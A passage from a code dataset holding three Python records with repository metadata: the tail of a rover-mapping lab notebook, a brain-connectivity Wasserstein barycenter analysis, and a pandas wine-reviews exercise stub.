rover_coords(threshed)\ndist, angles = to_polar_coords(xpix, ypix)\nmean_dir = np.mean(angles)\n\n# Do some plotting\nfig = plt.figure(figsize=(12,9))\nplt.subplot(221)\nplt.imshow(image)\nplt.subplot(222)\nplt.imshow(warped)\nplt.subplot(223)\nplt.imshow(threshed, cmap='gray')\nplt.subplot(224)\nplt.plot(xpix, ypix, '.')\nplt.ylim(-160, 160)\nplt.xlim(0, 160)\narrow_length = 100\nx_arrow = arrow_length * np.cos(mean_dir)\ny_arrow = arrow_length * np.sin(mean_dir)\nplt.arrow(0, 0, x_arrow, y_arrow, color='red', zorder=2, head_width=10, width=2)\n\n\n# ## Read in saved data and ground truth map of the world\n# The next cell is all setup to read your saved data into a `pandas` dataframe.  Here you'll also read in a \"ground truth\" map of the world, where white pixels (pixel value = 1) represent navigable terrain.  \n# \n# After that, we'll define a class to store telemetry data and pathnames to images.  When you instantiate this class (`data = Databucket()`) you'll have a global variable called `data` that you can refer to for telemetry and map data within the `process_image()` function in the following cell.  \n# \n\n# In[38]:\n\n\n# Import pandas and read in csv file as a dataframe\nimport pandas as pd\n# Change this path to your data directory\ndf = pd.read_csv('./test_dataset/robot_log.csv')\ncsv_img_list = df[\"Path\"].tolist() # Create list of image pathnames\n# Read in ground truth map and create a 3-channel image with it\nground_truth = mpimg.imread('./calibration_images/map_bw.png')\nground_truth_3d = np.dstack((ground_truth*0, ground_truth*255, ground_truth*0)).astype(np.float)\n\n# Creating a class to be the data container\n# Will read in saved data from csv file and populate this object\n# Worldmap is instantiated as 200 x 200 grids corresponding \n# to a 200m x 200m space (same size as the ground truth map: 200 x 200 pixels)\n# This encompasses the full range of output position values in x and y from the sim\nclass Databucket():\n    def __init__(self):\n        self.images = csv_img_list  \n        self.xpos = df[\"X_Position\"].values\n        self.ypos = df[\"Y_Position\"].values\n        self.yaw = df[\"Yaw\"].values\n        self.count = -1 # This will be a running index, setting to -1 is a hack\n                        # because moviepy (below) seems to run one extra iteration\n        self.worldmap = np.zeros((200, 200, 3)).astype(np.float)\n        self.ground_truth = ground_truth_3d # Ground truth worldmap\n\n# Instantiate a Databucket().. this will be a global variable/object\n# that you can refer to in the process_image() function below\ndata = Databucket()\n\n\n# ## Write a function to process stored images\n# \n# Modify the `process_image()` function below by adding in the perception step processes (functions defined above) to perform image analysis and mapping.  The following cell is all set up to use this `process_image()` function in conjunction with the `moviepy` video processing package to create a video from the images you saved taking data in the simulator.  \n# \n# In short, you will be passing individual images into `process_image()` and building up an image called `output_image` that will be stored as one frame of video.  You can make a mosaic of the various steps of your analysis process and add text as you like (example provided below).  \n# \n# \n# \n# To start with, you can simply run the next three cells to see what happens, but then go ahead and modify them such that the output video demonstrates your mapping process.  Feel free to get creative!\n\n# In[43]:\n\n\n\n# Define a function to pass stored images to\n# reading rover position and yaw angle from csv file\n# This function will be used by moviepy to create an output video\ndef process_image(img):\n    # Example of how to use the Databucket() object defined above\n    # to print the current x, y and yaw values \n    # print(data.xpos[data.count], data.ypos[data.count], data.yaw[data.count])\n\n    # TODO: \n    # 1) Define source and destination points for perspective transform\n    source = np.float32([\n                [14, 140], [301, 140], # bottom left to right\n                [200, 96], [118, 96]]) # top rigt to left             \n    dst_size = 5 \n    bottom_offset = 6\n    destination = np.float32([[image.shape[1]/2 - dst_size, image.shape[0] - bottom_offset],\n                  [image.shape[1]/2 + dst_size, image.shape[0] - bottom_offset],\n                  [image.shape[1]/2 + dst_size, image.shape[0] - 2*dst_size - bottom_offset], \n                  [image.shape[1]/2 - dst_size, image.shape[0] - 2*dst_size - bottom_offset],\n                  ])\n    \n    # 2) Apply perspective transform\n    warped, mask = perspect_transform(img, source, destination)\n    # 3) Apply color threshold to identify navigable terrain/obstacles/rock samples\n    \n    # def color_thresh\n    threshed = color_thresh(warped) # navigable pixels\n    yellow_rock_threshed, is_yellow_rock = yellow_rock_thresh(warped)  # rock pixels\n    obs_map = np.absolute(np.float32(threshed)-1)*mask  #obstacles pixels\n    \n    # 4) Convert thresholded image pixel values to rover-centric coords\n    xpix, ypix = rover_coords(threshed)\n    xpix_obs, ypix_obs = rover_coords(obs_map)\n    \n    # 5) Convert rover-centric pixel values to world coords\n    scale = 10\n    x_world, y_world = pix_to_world(xpix, ypix, data.xpos[data.count], data.ypos[data.count], \\\n        data.yaw[data.count], data.worldmap.shape[0], scale)\n    x_obs, y_obs = pix_to_world(xpix_obs, ypix_obs, data.xpos[data.count], \\\n        data.ypos[data.count], data.yaw[data.count], data.worldmap.shape[0], scale)\n\n    # 6) Update worldmap (to be displayed on right side of screen)\n        # Example: data.worldmap[obstacle_y_world, obstacle_x_world, 0] += 1\n        #          data.worldmap[rock_y_world, rock_x_world, 1] += 1\n        #          data.worldmap[navigable_y_world, navigable_x_world, 2] += 1\n    data.worldmap[y_world, x_world, 2] += 255  # blue nav terrain\n    data.worldmap[y_obs, x_obs, 0] += 255 # red obstacles\n    nav_pix = data.worldmap[:,:,2] > 0\n    data.worldmap[nav_pix, 0] = 0\n    \n    if is_yellow_rock:\n        xpix_rock, ypix_rock = rover_coords(yellow_rock_threshed)\n        x_world_rock, y_world_rock = pix_to_world(xpix_rock, ypix_rock, data.xpos[data.count], \\\n            data.ypos[data.count], data.yaw[data.count], data.worldmap.shape[0], scale)\n        data.worldmap[y_world_rock, x_world_rock, :] = 255\n    \n    # 7) Make a mosaic image, below is some example code\n        # First create a blank image (can be whatever shape you like)\n    output_image = np.zeros((img.shape[0] + data.worldmap.shape[0], img.shape[1]*2, 3))\n        # Next you can populate regions of the image with various output\n        # Here I'm putting the original image in the upper left hand corner\n    #left corner\n    output_image[0:img.shape[0], 0:img.shape[1]] = img\n    \n    # first a warped image\n    # upper right \n    output_image[0:img.shape[0], img.shape[1]:] = warped\n\n    # Overlay worldmap with ground truth map\n    map_add = cv2.addWeighted(data.worldmap, 1, data.ground_truth, 0.5, 0)\n        # Flip map overlay so y-axis points upward and add to output_image \n    #lower left \n    output_image[img.shape[0]:, 0:data.worldmap.shape[1]] = np.flipud(map_add)\n    #lower right ?????? \n    \n    \n        # Then putting some text over the image\n    if is_yellow_rock:    \n        cv2.putText(output_image,\"Rock Found!!!\", (20, 20), \n                cv2.FONT_HERSHEY_COMPLEX, 0.4, (255, 255, 255), 1)\n    else:\n         cv2.putText(output_image,\"No Rock\", (20, 20), \n                cv2.FONT_HERSHEY_COMPLEX, 0.4, (255, 255, 255), 1)\n    data.count += 1 # Keep track of the index in the Databucket()\n    \n    return output_image\n\n    \n\n\n# ## Make a video from processed image data\n# Use the [moviepy](https://zulko.github.io/moviepy/) library to process images and create a video.\n#   \n\n# In[44]:\n\n\n# Import everything needed to edit/save/watch video clips\nfrom moviepy.editor import VideoFileClip\nfrom moviepy.editor import ImageSequenceClip\n\n\n# Define pathname to save the output video\noutput = './output/test_mapping.mp4'\ndata = Databucket() # Re-initialize data in case you're running this cell multiple times\nclip = ImageSequenceClip(data.images, fps=60) # Note: output video will be sped up because \n                                          # recording rate in simulator is fps=25\nnew_clip = clip.fl_image(process_image) #NOTE: this function expects color images!!\nget_ipython().run_line_magic('time', 'new_clip.write_videofile(output, audio=False)')\n\n\n# ### This next cell should function as an inline video player\n# If this fails to render the video, try running the following cell (alternative video rendering method).  You can also simply have a look at the saved mp4 in your `/output` folder\n\n# In[45]:\n\n\noutput = './output/test_mapping.mp4'\nfrom IPython.display import HTML\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(output))\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "89ae0ef059c99676889f5abadae8f2ee880ff527", "size": 20128, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/Rover_Lab_Notebook.py", "max_stars_repo_name": "VinoVino/RoboND-Rover-Project", "max_stars_repo_head_hexsha": "476722958b9bc12e91cf91974e5d7af1beb7e248", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "code/Rover_Lab_Notebook.py", "max_issues_repo_name": "VinoVino/RoboND-Rover-Project", "max_issues_repo_head_hexsha": "476722958b9bc12e91cf91974e5d7af1beb7e248", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/Rover_Lab_Notebook.py", "max_forks_repo_name": "VinoVino/RoboND-Rover-Project", "max_forks_repo_head_hexsha": "476722958b9bc12e91cf91974e5d7af1beb7e248", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.5670995671, "max_line_length": 401, "alphanum_fraction": 0.7062301272, "include": true, "reason": "import numpy,import scipy", "num_tokens": 5115, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782349911420193, "lm_q2_score": 0.13846178879140303, "lm_q1q2_score": 0.06062182486226366}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.4.2\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# ## Import Main Librairies\n\n# +\n# Basic Python modules\nimport random\nimport csv\nimport pickle\nimport os\n\n# Scientific modules\nimport numpy as np\nimport scipy as scp\nimport matplotlib\nfrom matplotlib import pyplot as plt\n\nfrom scipy.io import loadmat\nimport networkx as nx\n\n# For better looking graphs\nimport seaborn as sns\nsns.set()\n\n# Just a custom color palette that I use\n# blue, darkblue, red, orange, green, palegreen, yellow, brokenwhite, brokengrey\ncolors = [\"#AF3127\",\"#6182B5\",\"#112A3C\",\"#D99C37\",\"#90A954\",\"#C5B868\",\"#FAC764\",\"#DAC0A6\",\"#C4C2D1\"]\nsns.set_palette(sns.color_palette(colors))\n# -\n\n# ## Configure paths for data once for all\n\n# +\n#generate_images = False\n\n#pickle_data_folder = 'new_new_pickle_data_cross/'\n\n# Folder in which data is placed\ndata_folder = '../fake_data'\n\n# Folder in which some computed objects will be saved\npickle_folder = 'cross_validation'\n\n# Control whether we recompute data even if it has been previously \n# computed and pickled\nrecompute_pickle = False\n\n# Suffix at the end of each .mat file; it is specified here in order to select \n# relevant files, as well as to make file name lighter during loading for \n# further operations (such as printing subjects names), since it does not carry \n# additional information.\nsuffix = '_fiber_number.mat'\n\n# For instance here, with those setting, every ../fake_data/*_fiber_number.mat \n# will be loaded\n\n# Keys used to split data between patients and controls. Subject whose filename \n# contains one of the control_keys will be affected to the control cohort, and \n# similarly for patients.\ncontrol_keys = ['060', 'dep', 'dpr', 'S', 'TI']\npatient_keys = ['lgp']\n\n# By default, the code expects a \"table.csv\" present in data_folder, containing \n# information about the patients, such as their age, the duration of the \n# disease, etc.\ncsv_path = data_folder + \"/table.csv\"\n\n\n# -\n\n# ## Load data\n\n# +\ndef get_matrix_file_list(data_folder, suffix):\n    \"\"\" \n        Return the list of files in the folder data_folder ending by suffix \n    \"\"\"\n    file_list = [f for f in os.listdir(data_folder) if f.endswith(suffix)]\n    return list(map(lambda x: data_folder + '/' + x, file_list))\n\ndef load_matrix_file(file):\n    \"\"\" \n        Return the matrix loaded from a Matlab data file. Note that the \n        'Measure' key is hardcoded, so you might need to adjust it to your own \n        data.\n    \"\"\"\n    return loadmat(file)['Measure']\n\n# Eventually create the folder in which data will be saved\nif not os.path.exists(pickle_folder):\n    os.mkdir(pickle_folder)\n\n# Create a dictionnary of all the matrices, where each matrix gets associated to \n# the filename of the corresponding .mat file minus the suffix.\nconnectivity_matrices = {}\n\nfor f in get_matrix_file_list(data_folder, suffix):\n    connectivity_matrices[f.replace(suffix,'').replace(data_folder + '/','')] = load_matrix_file(f)\n    \n# Create a dictionnary of metadata for each patient, obtained from the file \n# at csv_path (by default 'data_foler/table.csv')\npatient_info_dict = {}\n\nwith open(csv_path, 'r') as csv_file:\n    metadata = csv.DictReader(csv_file)\n    # Each patient is associated to a dictionnary containing all its information\n    for row in metadata:\n        metadata_dict = {key:row[key] for key in metadata.fieldnames if key != 'Subject'}\n        patient_info_dict[row['Subject']] = metadata_dict\n        \nprint(\"Succesfully loaded {} matrices from {}.\".format(len(connectivity_matrices), data_folder))\nprint(\"Metadata has been found in {} for {} subjects.\".format(csv_path,len(patient_info_dict)))\n# -\n\n# ## Split Data into Cohorts\n\n# +\n# list of controls and patients names\ncontrols = []\npatients = []\n\n# The following can be used to limit the number of either controls or patients \n# considered for the study if they are set to some non infinite number.\ncontrols_count = np.inf\npatients_count = np.inf\n\ncurrent_control = 0\ncurrent_patient = 0\n\nfor key in [*connectivity_matrices]:\n    # Use patients_keys and control_keys list to classify subject into cohorts\n    if any(list(map(lambda x: x in key, patient_keys))) and current_patient < patients_count:\n        patients.append(key)\n        current_patient += 1\n    elif any(list(map(lambda x: x in key, control_keys))) and current_control < controls_count:\n        controls.append(key)\n        current_control += 1\n    else:\n        print(\"Patient {} cannot be classified either as control or patient.\".format(key))\n\ncontrols_count = current_control\npatients_count = current_patient\n\nsubject_count = len(patients) + len(controls)\n\nprint(\"Classified {} controls and {} patients (total {} subjects)\".format(controls_count, patients_count, subject_count))\n\n\n# -\n\n# ## Basic network manipulation functions\n\n# +\ndef plot_connectivity_matrix(*matrix, save=None):\n    \"\"\"\n        Plot the connectivity matrix as a colormap\n        It uses a logarithmic scale for the colors and it is possible to plot \n        multiple matrices at once.\n    \"\"\"\n    \n    max_rows = 2\n    line = len(matrix) / 3 + 1\n    \n    for i, mat in enumerate(matrix):\n        plt.subplot(line, max_rows, i+1)\n        plt.imshow(np.log(mat+1),cmap='viridis')\n    \n    plt.tight_layout()\n    if save is None:\n        plt.show()\n    else:\n        plt.savefig(save,bbox_inches='tight')\n        \ndef get_network(matrix, threshold = 0):\n    \"\"\" \n        Return the network (as a networkx data structure) defined by matrix.\n        It is possible to specify a threshold that will disregard all the \n        edges below this threshold when creating the network\n    \"\"\"\n    G = nx.Graph()\n    N = matrix.shape[0]\n    G.add_nodes_from(list(range(N)))\n    G.add_weighted_edges_from([(i,j,1.0*matrix[i][j]) for i in range(0,N) for j in range(0,i) \\\n                                                                   if matrix[i][j] >= threshold])\n    return G\n\ndef filter_weights(matrix, ratio):\n    \"\"\"\n        Only keep a fraction of the weights of the matrix, fraction specified \n        via the threshold parameter\n    \"\"\"\n    n = matrix.shape[0]\n    filtered_matrix = np.zeros_like(matrix)\n    total_weight = np.sum(matrix)\n    weights_id = sorted([(matrix[i,j],i,j) for i in range(n-1) for j in range(i+1,n)], reverse=True)\n    \n    filtered_weight = 0\n    for (w,i,j) in weights_id:\n        filtered_weight += 2*w\n        \n        if filtered_weight > ratio*total_weight:\n            break\n        \n        filtered_matrix[i,j] = w\n        filtered_matrix[j,i] = w\n    \n    return filtered_matrix\n\n\n# -\n\n# ## Laplacian manipulation\n\n# +\ndef get_laplacian_matrix(matrix, threshold = 0):\n    \"\"\" \n        Return the laplacian matrix of the network defined by matrix.\n        It is possible to specify a threshold that will disregard all the \n        edges below this threshold when creating the network\n    \"\"\"\n    \n    L = np.zeros_like(matrix)\n    \n    assert(L.shape[0] == L.shape[1]), \"The network should be encoded by a square matrix\"\n    \n    N = L.shape[0]\n    \n    # Small one liner trick to get rid of the diagonal and apply the threshold.\n    A = np.multiply(np.where(matrix >= threshold, matrix , np.zeros_like(matrix)), np.ones((N,N)) - np.eye(N))\n    \n    # Use the definition of L as L = D - A \n    L = np.eye(N) * np.array([np.sum(A[i,:]) for i in range(N)]) - A\n    \n    return L\n\ndef get_stabilized_laplacian_matrix(matrix, threshold = 0, ratio=1.0, alpha = 1e-2):\n    \"\"\"\n        Prefered function to get the laplacian matrix of a network encoded by a \n        matrix. Can apply a ratio filtering of the weights of the matrix (i.e. \n        only keep ratio of the total weight) or / and apply a threshold. The \n        alpha parameter corrects a numerical issue.\n    \"\"\"\n    L = get_laplacian_matrix(filter_weights(matrix, ratio = ratio), threshold)\n    \n    n = L.shape[0]\n    \n    # Add a small epsilon to the diagonal of the Laplacian matrix. It should \n    # make the computation more stable. Idea from https://github.com/Hermina/GOT\n    \n    return L + alpha * np.eye(n)\n\n\n# -\n\n# Small tests to assess consistency of the different functions.\nassert np.allclose(nx.linalg.laplacian_matrix(get_network(connectivity_matrices[controls[0]])).toarray(), get_laplacian_matrix(connectivity_matrices[controls[0]])), \"Inconsistency in the Laplacian functions\"\nassert np.allclose(nx.linalg.laplacian_matrix(get_network(connectivity_matrices[patients[0]], threshold=10)).toarray(), get_stabilized_laplacian_matrix(connectivity_matrices[patients[0]], alpha=0, threshold=10)), \"Inconsistency in the Laplacian functions (test 2)\"\n\n# ## Wasserstein distance functions\n\n# +\n# Those are dictionaries used to speed up computations, by avoiding multiple \n# computations of the same objects.\nprecomp_dict_net = {}\nprecomp_dict_cov = {}\n\ndef wasserstein_networks(A, B, threshold = 0, threshold2 = None, ratio = 1.0):\n    \"\"\" \n            Returns the Wasserstein distance (in the sense of the GOT paper) \n            between the two networks encoded by A and B. It is possible to \n            apply a threshold to the network obtained via both matrices (and \n            even a different one per matrices)\n    \"\"\"\n    \n    if threshold2 is None:\n        threshold2 = threshold\n    \n    assert(A.shape == B.shape), \"compared networks should have the \\\n                                                        same number of nodes\"\n    \n    L1dag = None\n    L1dag_sqrt = None\n    L2dag = None\n    L2dag_sqrt = None\n    \n    if (A.tobytes(), threshold, ratio) not in precomp_dict_net:\n        L1 = get_stabilized_laplacian_matrix(A, threshold = threshold, ratio = ratio)\n        L1dag = np.real(scp.linalg.pinv(L1))\n        L1dag_sqrt = np.real(scp.linalg.sqrtm(L1dag))\n        \n        precomp_dict_net[(A.tobytes(), threshold,ratio)] = (L1dag, L1dag_sqrt)\n    else:\n        L1dag, L1dag_sqrt = precomp_dict_net[(A.tobytes(), threshold, ratio)]\n    \n    if (B.tobytes(), threshold2, ratio) not in precomp_dict_net:\n        L2 = get_stabilized_laplacian_matrix(B, threshold = threshold2, ratio = ratio)\n        L2dag = np.real(scp.linalg.pinv(L2))\n        L2dag_sqrt = np.real(scp.linalg.sqrtm(L2dag))\n        \n        precomp_dict_net[(B.tobytes(), threshold2, ratio)] = (L2dag, L2dag_sqrt)\n    \n    else :\n        L2dag, L2dag_sqrt = precomp_dict_net[(B.tobytes(), threshold2, ratio)]\n\n    W = np.trace(L1dag) + np.trace(L2dag) - 2*np.trace(np.real(scp.linalg.sqrtm(L1dag_sqrt @ L2dag @ L1dag_sqrt)))\n    \n    return W\n\n\ndef wasserstein_network_covariance(A, cov, threshold = 0, ratio = 1.0):\n    \"\"\" \n            Return the Wasserstein distance (in the sense of the GOT paper) \n            between the the network encoded by a matrix A, and the normal \n            distribution whose covariance matrix is given by cov. \n            It is possible to apply a threshold to the network obtained via \n            matrix A.\n    \"\"\"\n    \n    assert(A.shape == cov.shape), \"compared networks should have the \\\n                                                        same number of nodes\"\n    \n    N = A.shape[0]\n\n    L1dag = None\n    L1dag_sqrt = None\n    L2dag = None\n    L2dag_sqrt = None\n    \n    if (A.tobytes(), threshold, ratio) not in precomp_dict_net:\n        L1 = get_stabilized_laplacian_matrix(A, threshold = threshold, ratio = ratio)\n        L1dag = np.real(scp.linalg.pinv(L1))\n        L1dag_sqrt = np.real(scp.linalg.sqrtm(L1dag))\n        \n        precomp_dict_net[(A.tobytes(), threshold ,ratio)] = (L1dag, L1dag_sqrt)\n    else:\n        L1dag, L1dag_sqrt = precomp_dict_net[(A.tobytes(), threshold ,ratio)]\n    \n    if cov.tobytes() not in precomp_dict_cov:\n        L2dag = cov\n        L2dag_sqrt = np.real(scp.linalg.sqrtm(L2dag))\n        \n        precomp_dict_cov[cov.tobytes()] = L2dag_sqrt\n    \n    else:\n        L2dag = cov\n        L2dag_sqrt = precomp_dict_cov[cov.tobytes()]\n    \n    W = np.trace(L1dag) + np.trace(L2dag) - 2*np.trace(np.real(scp.linalg.sqrtm(L1dag_sqrt @ L2dag @ L1dag_sqrt)))\n    return W\n\ndef clip_remove(array, threshold):\n    \"\"\"\n        Small helper function to clip an array by removing values above a \n        certain threshold\n    \"\"\"\n    r = array[array < threshold]\n    print(\"Kept {} out of {} ({} %)\".format(r.shape[0], array.shape[0], r.shape[0]/array.shape[0] * 100))\n    return r\n\ndef barycenter_iteration(cov_list, iteration_count = 10):\n    \"\"\"\n        Return the covariance matrix of the barycenter of the distributions \n        whose covariances are given as cov_list ; iteration_count controls the\n        number of iteration made by the iterative algorithm.\n    \"\"\"\n    covariance_count = len(cov_list)\n\n    size = cov_list[0].shape[0]\n    curr_cov = np.eye(size)\n    \n    for iteration in range(iteration_count):\n        curr_cov_sqrt = np.real(scp.linalg.sqrtm(curr_cov))\n        curr_cov_pinv_sqrt = scp.linalg.pinv(curr_cov_sqrt)\n        big_sum = np.zeros_like(curr_cov)\n        for sigma in cov_list:\n            big_sum += 1/covariance_count * np.real(scp.linalg.sqrtm(curr_cov_sqrt @ sigma @ curr_cov_sqrt))\n        big_sum = big_sum @ big_sum\n        curr_cov = curr_cov_pinv_sqrt @ big_sum @ curr_cov_pinv_sqrt\n    \n    return curr_cov\n\n# Some functions to print a barycenter covariance as an approximate connectivity matrix\ndef cov_to_laplacian(cov, alpha = 1e-2):\n    n = cov.shape[0]\n    return scp.linalg.pinv(cov) - alpha * np.eye(n)\n\ndef laplacian_to_connectivity_matrix(laplacian):\n    n = laplacian.shape[0]\n    return np.multiply(laplacian, -(np.ones_like(laplacian) - 2*np.eye(n)))\n# -\n\n# ## Compute a distance matrix (distance subjects to controls)\n\n\n# ## Compute a barycenter with subsample of controls\n\n\ndef subsample_controls(controls, sample_size, ratio = 1.0):\n    \"\"\"\n        Return a random draw of sample_size controls, whose name are taken from \n        the controls array, as well as the covariance matrices of their \n        associated distribution. Ratio is used to control the sparsity of the \n        networks (see get_stabilized_laplacian_matrix for its exact effect)\n    \"\"\"\n    controls_count = len(controls)\n\n    random_controls_sample = random.sample(range(0, controls_count),sample_size)\n    controls_barycenter = np.array(controls)[random_controls_sample]\n\n    pseudo_inverses = [scp.linalg.pinv(get_stabilized_laplacian_matrix(connectivity_matrices[subject],ratio=ratio)) for subject in controls_barycenter]\n\n    return (controls_barycenter, pseudo_inverses)\n\n\ndef do_some_folds(fold_count = 50, control_sample_size = 10, ratios = [1.0]):\n    \"\"\"\n        Perform fold_count random folds. Each fold consists in: subsampling the \n        control group to randomly select control_sample_size controls, whose \n        barycenter is computed. Then all remaining controls + each patients are \n        compared to the barycenter. The results of multiple folds are aggregated \n        into distance_dict and distance_fold_count (the average distance for \n        subject s to the barycenters is thus \n        \n                        distance_dict[s] / distance_fold_count[s]\n        \n        ratios can be used to perform tests on multiple sparsity ratios at a \n        time \n    \"\"\"\n    for ratio in ratios:\n        true_folds = 0\n        print(\"Folding with sparsity ratio {:.2f}\".format(ratio))\n\n        pickle_file_path = pickle_folder + \"/dist_and_fold_count_r{:.2f}_k{}.pickle\".format(ratio, control_sample_size)\n        print(\"Will save or update {}\".format(pickle_file_path))\n\n        distance_dict = {s : 0.0 for s in patients + controls}\n        distance_fold_count = {s:0 for s in patients + controls}\n\n        for fold in range(fold_count):\n            if fold % 10 == 0: print(\"Fold {}\".format(fold))\n\n            controls_sample, pinvs = subsample_controls(controls, control_sample_size, ratio = ratio)\n\n            barycenter_cov = barycenter_iteration(pinvs)\n            \n            # list of all the other subjects (non sampled controls + patients)\n            subjects = patients + [c for c in controls if c not in controls_sample]\n            current_fold_distance_dict = {subject:wasserstein_network_covariance(connectivity_matrices[subject], barycenter_cov, ratio = ratio) for subject in subjects}\n\n            for subject, d in current_fold_distance_dict.items():\n                distance_fold_count[subject] += 1\n                distance_dict[subject] += d\n\n            true_folds += 1\n\n        # create or update the pickled data\n        if os.path.exists(pickle_file_path) and not recompute_pickle:\n            with open(pickle_file_path, 'rb') as filehandler:\n                loaded_dist_dict, loaded_dist_count, loaded_fold_count = pickle.load(filehandler)\n\n                for s in patients + controls:\n                    distance_dict[s] += loaded_dist_dict[s]\n                    distance_fold_count[s] += loaded_dist_count[s]\n\n                print(\"{} ({} folds) will be updated with {} more folds\".format(pickle_file_path, loaded_fold_count, fold_count))\n                true_folds += loaded_fold_count\n\n        with open(pickle_file_path, 'wb') as filehandler:\n            print(\"Saving {}\".format(pickle_file_path))\n            pickle.dump((distance_dict, distance_fold_count, true_folds), filehandler)\n\n        # plot the results\n        \n        # first, obtain the true distance lists from the distance_dict and \n        # distance_fold_count dictionnaries\n        dist_list = []\n        for s in patients:\n            dist_list.append(distance_dict[s] / distance_fold_count[s])\n\n        for c in controls:\n            dist_list.append(distance_dict[c] / distance_fold_count[c])  \n\n        #print(scp.stats.ttest_ind(dist_list[:patients_count], dist_list[patients_count:], equal_var=True))\n        \n        #threshold = 0.0025\n        #print(\"Plot thresholded at {}\".format(threshold))\n        plt.hist(dist_list[:patients_count], stacked=True, density=True, alpha=0.3, label='Patients')\n        plt.hist(dist_list[patients_count:], stacked=True, density=True, alpha = 0.3, label='Controls')\n        sns.kdeplot(dist_list[:patients_count], shade=False, color='C0', alpha=0.3);\n        sns.kdeplot(dist_list[patients_count:], shade=False, color='C1', alpha=0.3);\n        plt.xlabel(\"Distance to barycenter ({:.2f})\".format(ratio))\n        plt.legend()\n        #import tikzplotlib\n        #tikzplotlib.save(\"figures_generation/dist_to_barycenter_full.tex\".format(ratio), wrap=False)\n\n        plt.show()\n\n\ndo_some_folds()\n\n\n", "meta": {"hexsha": "8b43c6a696379643ad7936650c7ec0b0195a4c76", "size": 18618, "ext": "py", "lang": "Python", "max_stars_repo_path": "wasserstein_analysis/barycenter_cross_validation.py", "max_stars_repo_name": "little-nem/brain-connectivity-analysis", "max_stars_repo_head_hexsha": "7d8eb2630bca6e077f38f56dc13b36c83bae9ca3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "wasserstein_analysis/barycenter_cross_validation.py", "max_issues_repo_name": "little-nem/brain-connectivity-analysis", "max_issues_repo_head_hexsha": "7d8eb2630bca6e077f38f56dc13b36c83bae9ca3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-03-20T15:10:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-20T15:10:42.000Z", "max_forks_repo_path": "wasserstein_analysis/barycenter_cross_validation.py", "max_forks_repo_name": "little-nem/brain-connectivity-analysis", "max_forks_repo_head_hexsha": "7d8eb2630bca6e077f38f56dc13b36c83bae9ca3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.1514563107, "max_line_length": 264, "alphanum_fraction": 0.6677408959, "include": true, "reason": "import numpy,import scipy,from scipy,import networkx", "num_tokens": 4520, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782349911420193, "lm_q2_score": 0.13846178168115786, "lm_q1q2_score": 0.06062182174923124}}
{"text": "\"\"\"\nSelecting Data II - Access a Column\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nwine_reviews = pd.read_csv('../winemag-data-130k.csv')\n\n\n# Return the winery column in a variable called \"wineries\".\n\n\n\n# Run a command to return the type of wineries.\n\n", "meta": {"hexsha": "9caf95a2fd4d78b337d0313211a400ef3e42a10f", "size": 253, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas1_wine_reviews/selecting_data/p2.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas1_wine_reviews/selecting_data/p2.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas1_wine_reviews/selecting_data/p2.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 15.8125, "max_line_length": 59, "alphanum_fraction": 0.7154150198, "include": true, "reason": "import numpy", "num_tokens": 63, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.1460872396128689, "lm_q1q2_score": 0.06061142710101532}}
